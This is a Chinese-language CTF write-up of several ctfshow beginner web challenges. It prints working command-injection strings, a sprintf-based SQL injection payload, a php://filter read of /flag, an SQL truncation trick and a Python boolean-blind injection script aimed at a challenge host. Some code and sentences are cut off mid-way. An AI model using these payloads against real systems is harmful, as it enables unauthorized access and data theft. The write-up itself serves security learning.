ctfshow萌新赛经验总结

签到题

就从做题顺序开始记录,这题真的很签到。

有system函数在,应该就是命令执行了。唯一注意的点就是分号分隔一下。

用;ls;查看flag文件,再用;cat flag;得到flag。

给她

刚开始还不知道题目名字的含义,就一直在那注入,后来才知道给她翻译过来就是git,git泄露得到源码一部分。

addslashes函数就是对pass传进来的数据进行过滤,把预定义好的单双引号和反斜杠都进行了转义。这里就要用到sprintf函数的一个漏洞。(附上大佬文章深入解析sprintf格式化字符串漏洞)简而言之,就是php在格式化字符串时它会吞掉转义后的反斜杠,从而让单引号逃逸出来。可以构造payload

?name=admin&pass=1%1$' or 1=1-- -

第一个参数,用%进行填充,转义后%/就被吃掉了,单引号 成功逃脱。

ctfshow萌新赛经验总结_第1张图片

这就是普通的页面,查看源代码。

ctfshow萌新赛经验总结_第2张图片

给出flag的位置,之后发现cookie有信息,应该是一串十六进制。转ascli得出flag.txt。

访问发现flag文件不在这。。

ctfshow萌新赛经验总结_第3张图片

 抓包查看cookie中有一个file变量我们可以用,我们将伪协议转十六进制读取。

ctfshow萌新赛经验总结_第4张图片

 出现了not has base64,不能用base64,看了wp知道另一个payload

php://filter/read=string.rot13/resource=/flag

发包得出flag。

假赛生

打开题目是一段代码

";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."
"; if(isset($_GET['c'])){ preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1); echo $flag; }else{ echo "you not admin"; } } } ?>

根据题目提示有登录和注册,代码中看出我们需要admin登入,然后参数c传值得出flag。

打开注册发现admin不能注册,我们可以用admin加空格来绕过(sql约束攻击)然后用admin登录进去了。

ctfshow萌新赛经验总结_第5张图片

看代码发现参数c过滤了打印字符和不可打印字符。因为没有isset函数的约束,不传值就行了。

最终得出flag。

ctfshow萌新赛经验总结_第6张图片

萌新记忆

里面的段子确实挺搞笑的,继续做题,用dirsearch扫一下目录。扫出了/admin/?/login目录,访问是一个登录界面。随便输入admin'就会有sql语句报错。用sqlmap也是跑不出来。

ctfshow萌新赛经验总结_第7张图片

这里就要用到BP来判断一下有那些payload没有过滤。(用BP fuzz进行sql注入的相关文章【CTF】利用 Burpsuite Fuzz 实现 SQL 注入 - SegmentFault 思否)

这里测试回显有三种情况:密码错误,用户名错误和用户名密码错误。

首先下载一个payload字典,再通过BP的intruder模块将这些payload发出去。||是没有过滤的,它可以代替or来进行布尔盲注。我们输入在'||'a'<'b时,因为变量有单引号包裹,所以后端的查询语句就是''||'a'<'b',因为a

import requests
url="http://69c91548-0b63-48bb-b2d9-2f56576c1517.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(1,18):
    for j in letter:
        payload="'||substr(p,{},1)<'{}".format(i,j)
        data={
            'u':payload,
            'p':1
            }
        res=requests.post(url=url,data=data).text
        print(res)
        if "密码错误" == res:
            flag += chr(ord(j)-1)
            print(flag)
            break

跑脚本就能得到密码了,用admin登录进去就能得出flag。

你可能感兴趣的:(#,web,php,开发语言)